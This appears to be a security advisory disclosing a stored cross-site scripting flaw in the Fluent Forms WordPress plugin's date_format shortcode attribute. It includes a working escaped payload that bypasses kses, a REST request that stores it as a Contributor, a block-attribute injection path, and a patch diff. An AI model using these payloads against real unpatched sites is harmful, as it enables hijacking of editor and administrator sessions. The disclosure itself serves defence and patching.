CVE-2026-103343 A script tag with no angle brackets in Fluent Forms
Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in Fluent Forms, affecting all versions up to and including 6.2.14. The date_format attribute of the [fluentform_info] shortcode is handed to PHP's date() and the result is returned with no escaping, and date() will spell out any markup it is asked for. The payload a Contributor stores contains no angle brackets at all, so the filter that guards their posts finds nothing to remove.
Summary
Fluent Forms registers the [fluentform_info] shortcode on every front-end request. Its date_format attribute goes straight to PHP's date(), and the return value goes back to do_shortcode() with no escaping. date() copies anything it does not recognise as a format character, and a backslash makes it copy the next character literally, so a format string can spell out any markup at all.
A Contributor cannot save markup. wp_filter_post_kses runs on the post_content of every user without unfiltered_html and strips anything tag-shaped. The payload never has to be tag-shaped. < is written as a C-style escape and so is >, so what reaches the database holds no <, no > and no &. The filter reads plain text and leaves it alone.
The angle brackets come back at render time, after the filter has run. do_shortcode() calls shortcode_parse_atts(), which applies stripcslashes() to every attribute value, and date() receives a format string that spells out a script element. The Editor or Administrator who previews the pending post runs it in their own session. Once the post is published, every visitor runs it.
Technical detail
The sink
// app/Modules/Component/Component.php:1374
} elseif ( 'created_at' == $atts['info'] ) {
if ( $atts['date_format'] ) {
$dateFormat = $atts['date_format']; // the raw shortcode attribute
} else {
$dateFormat = get_option( 'date_format' ) . ' ' . get_option( 'time_format' );
}
return date( $dateFormat, strtotime( $form->created_at ) );
} elseif ( 'updated_at' == $atts['info'] ) {
...
return date( $dateFormat, strtotime( $form->updated_at ) ); // line 1387, same shape
}shortcode_atts() merges the caller's attributes over a set of defaults. It does no sanitising. date_format is never checked against the formats the plugin offers, never passed through sanitize_text_field(), and the string date() returns is never passed through esc_html() or wp_kses_post().
The two shortcodes registered immediately after it in the same method both escape:
// line 1447, the next shortcode registered in the same method
return esc_html( Helper::flattenRequestValue( $value ) );
// line 1496, the one after that
echo $atts['is_html'] ? wp_kses_post( $response ) : esc_html( $response );Why date() emits HTML
// every letter of "script" is a date() format specifier:
// s seconds c ISO 8601 date r RFC 2822 date
// i minutes p ISO 8601 offset t days in the month
// a backslash makes date() copy the next character verbatim
date( '<\s\c\r\i\p\t>\a\l\e\r\t(\d\o\c\u\m\e\n\t.\d\o\m\a\i\n)</\s\c\r\i\p\t>' )
=> <script>alert(document.domain)</script>
// < > ( ) and . are not format characters, so they pass through aloneThe backslashes are needed because every letter of the word is already a format specifier. Writing script unescaped produces a timestamp. Escaping each letter produces the word, and the word sits between two characters date() has no meaning for.
Why the kses filter does not stop it
wp_filter_post_kses neutralises chunks that look like tags, a bare >, and a bare &. It is the whole of the trust boundary that makes a Contributor safe to have. The payload offers it none of those three:
// what the Contributor stores. No <, no >, no & anywhere in it.
[fluentform_info id="1" info="created_at" date_format="\x3C\\s\\c\\r\\i\\p\\t\x3E\\a\\l\\e\\r\\t(\\d\\o\\c\\u\\m\\e\\n\\t.\\d\\o\\m\\a\\i\\n)\x3C/\\s\\c\\r\\i\\p\\t\x3E"]
// wp_filter_post_kses sees plain text and removes nothing
// at render, shortcode_parse_atts() runs stripcslashes() on the value:
// \x3C becomes <
// \x3E becomes >
// \\s becomes \s
// so date() receives, and returns:
<script>alert(document.domain)</script>The ordering is the defect. The filter runs when the post is saved. The unescape runs when the post is rendered. In between, the payload sits in the database looking exactly like a date format string, which is what it is until stripcslashes() turns it into something else.
The chain
- A Contributor creates a post containing the shortcode and submits it for review. The Shortcode block, a paragraph, the code editor or one REST call all work.
wp_filter_post_ksespasses it through untouched, and the storedpost_contentmatches what was sent byte for byte.- An Editor or Administrator opens the pending post's preview, which is the step the role exists to produce.
do_shortcode()unescapes the attribute,date()returns a script element intothe_content(), and it executes in the reviewer's authenticated session.
// the Contributor stores it. An application password is enough.
POST /index.php?rest_route=/wp/v2/posts
Authorization: Basic <base64(contributor:application-password)>
Content-Type: application/json
{"title":"ff","status":"pending","content":"[fluentform_info id=...
date_format=\\"\\x3C\\\\s\\\\c\\\\r\\\\i\\\\p\\\\t\\x3E\\\\a\\\\l\\\\e\\\\r\\\\t(\\\\d\\\\o\\\\c\\\\u\\\\m\\\\e\\\\n\\\\t.\\\\d\\\\o\\\\m\\\\a\\\\i\\\\n)\\x3C/\\\\s\\\\c\\\\r\\\\i\\\\p\\\\t\\x3E\\"]"}
// the reviewer opens the pending post, which is the normal review step
GET /?p=<ID>&preview=true
// the rendered page contains a live element:
<script>alert(document.domain)</script>A second delivery path to the same sink
// app/Services/Blocks/GutenbergBlock.php:45, the second delivery path
$className = sanitize_text_field( Arr::get( $atts, 'className', '' ) );
$themeStyle = sanitize_text_field( Arr::get( $atts, 'themeStyle', '' ) );
...
$formOutput = do_shortcode(
'[fluentform theme="' . $themeStyle . '" css_classes="' . $className . ' ff_guten_block ...'
);
// sanitize_text_field() strips tags. It leaves " and ] alone.sanitize_text_field() removes tags and control characters. It leaves " and ] untouched, so a block attribute can close the [fluentform] tag and append a second shortcode behind it. Block delimiter JSON is not filtered by kses at all, so this path reaches the same sink without needing the C-style escapes. Escaping the date() output is the change that removes execution on both paths.
Verification
We reproduced this on a clean WordPress installation running Fluent Forms 6.2.14 at shipped settings, using the demo form the plugin creates on activation. No plugin setting was changed at any point. The lab held a stock Contributor account and an administrator to do the reviewing.
The Contributor stored the shortcode in a pending post over the REST API with an application password. The stored post_content was then read back with context=edit and compared with what had been sent: identical, byte for byte. wp_filter_post_kses removed nothing, because there was nothing tag-shaped in it to remove.
The administrator opened the pending post's preview at ?p=<id>&preview=true in a real browser. The rendered page carried <script>alert(document.domain)</script> as a live element in the DOM and the alert fired on load, observed in the browser instead of matched in the response body.
The control is the same payload written with literal angle brackets. Submitted that way it is tag-shaped at the moment kses looks at it, the filter strips it at save time, and the stored post holds nothing. That pole is what names stripcslashes() as the step that decides the outcome: the payload is only markup after the filter has already finished with it.
Impact
Contributor is the role WordPress ships for people who are trusted to draft and not trusted to publish, and the whole of that distinction rests on wp_filter_post_kses. Guest-post programmes, editorial teams and multi-author blogs hand the role out to people the site owner has never met.
The reviewer is the target and the review is the trigger. Opening the pending post to decide whether to publish it executes the payload in an Editor or Administrator session, with no click beyond the page load. An administrator session can create another administrator and can install a plugin, which is arbitrary PHP on the host.
Publication widens it. The payload then runs for every visitor of a public page, with no account needed on their side. Fluent Forms is installed on more than 800,000 sites, and the shortcode is registered on all of them regardless of settings.
Remediation
Update Fluent Forms to 6.2.15 or later.
WPManageNinja wrapped both date sinks in esc_html() and closed the block path by stripping [ and ] from the two attributes and escaping them:
// 6.2.15, app/Modules/Component/Component.php
-return date( $dateFormat, strtotime( $form->created_at ) );
+return esc_html( date( $dateFormat, strtotime( $form->created_at ) ) );
// and in GutenbergBlock.php
-$className = sanitize_text_field( Arr::get( $atts, 'className', '' ) );
+$className = str_replace( ['[', ']'], '', sanitize_text_field( ... ) );
-'[fluentform theme="' . $themeStyle . '" css_classes="' . $className
+'[fluentform theme="' . esc_attr( $themeStyle ) . '" css_classes="' . esc_attr( $className )The same release changed a third line in the same file, in replaceEditorSmartCodes(), and the comment the vendor left above it is worth reading in full:
// 6.2.15, replaceEditorSmartCodes(), the same file, line 890
-// Finally, replace the patterns with the replacements and return the output HTML.
-return str_replace( array_keys( $attrDefaultValues ), array_values( $attrDefaultValues ), $output );
+// Replace in a single pass. str_replace() with arrays re-scans text an earlier key inserted,
+// so ?a=javascript{get.b}&b=:alert(1) would assemble a script URL from two escaped values.
+return strtr( $output, $replacements );str_replace() given arrays applies each pattern to the result of the one before it, so text inserted by an early replacement is still visible to every later pattern. {get.a} resolves through esc_attr() and so does {get.b}, and javascript followed by :alert(1) is a script URL that neither value contained. strtr() makes one left-to-right pass and never looks at what it has just written.
That third change is a separate defect from this CVE, closed in the same release. It is worth knowing about on its own terms, and it is worth checking whether a site relies on the smart-code parser before assuming 6.2.15 was a single-issue update.
The wider lesson
Escaping has a position in time as well as a position in context. wp_filter_post_kses is a save-time filter and stripcslashes() is a render-time transform, and the payload is inert for the whole interval between them. The filter gave a correct verdict on the bytes it was shown. Anything that re-derives characters after a filter has run makes that verdict stale, so the question to ask of any stored value is which transforms still lie between the database and the browser.
A format string is a program. date(), sprintf() and strftime() all take a string from somewhere and use it to decide what to emit, which means a user-supplied format string is user-supplied code with an output channel attached. Treat it the way you would treat any other code path handed over by a caller: allowlist it against the formats the feature actually offers, and escape what comes back out.
The last point belongs to the third fix in the same release. Every smart code in that replacement table was escaped correctly on its own, and two of them composed into a javascript: URL that neither one contained. Escaping protects a value. It says nothing about what happens when the assembly step reads its own output, and a replacement loop that re-scans text it has already written is exactly that step.
Disclosure timeline
- 2026-09-20 Vulnerability identified and full chain validated by Intrudify, reported via Patchstack
- 2026-09-30 Fixed release 6.2.15 published by WPManageNinja
- 2026-10-01 Public disclosure · CVE-2026-103343 assigned
Questions
What is CVE-2026-103343?
CVE-2026-103343 is a stored cross-site scripting vulnerability in the Fluent Forms WordPress plugin, versions 6.2.14 and earlier, reachable by any user holding a Contributor account. It was discovered autonomously by the Intrudify AI penetration testing engine. The date_format attribute of the fluentform_info shortcode is passed to PHP's date() function and the result is returned with no escaping, and date() will emit any characters its format string spells out.
Why does the WordPress kses filter not block this?
The filter runs when the post is saved and the payload is not markup yet. The angle brackets are written as C-style escapes, so the stored text contains no left angle bracket, no right angle bracket and no ampersand, and the filter finds nothing tag-shaped to strip. WordPress restores them later: rendering the shortcode calls shortcode_parse_atts, which runs stripcslashes on every attribute value, and the format string that reaches date() is the one with angle brackets in it.
How do I fix CVE-2026-103343?
Update Fluent Forms to version 6.2.15 or later. WPManageNinja wrapped both date sinks in esc_html and closed the Gutenberg block path by stripping square brackets from the block attributes and escaping them before they are concatenated into a shortcode.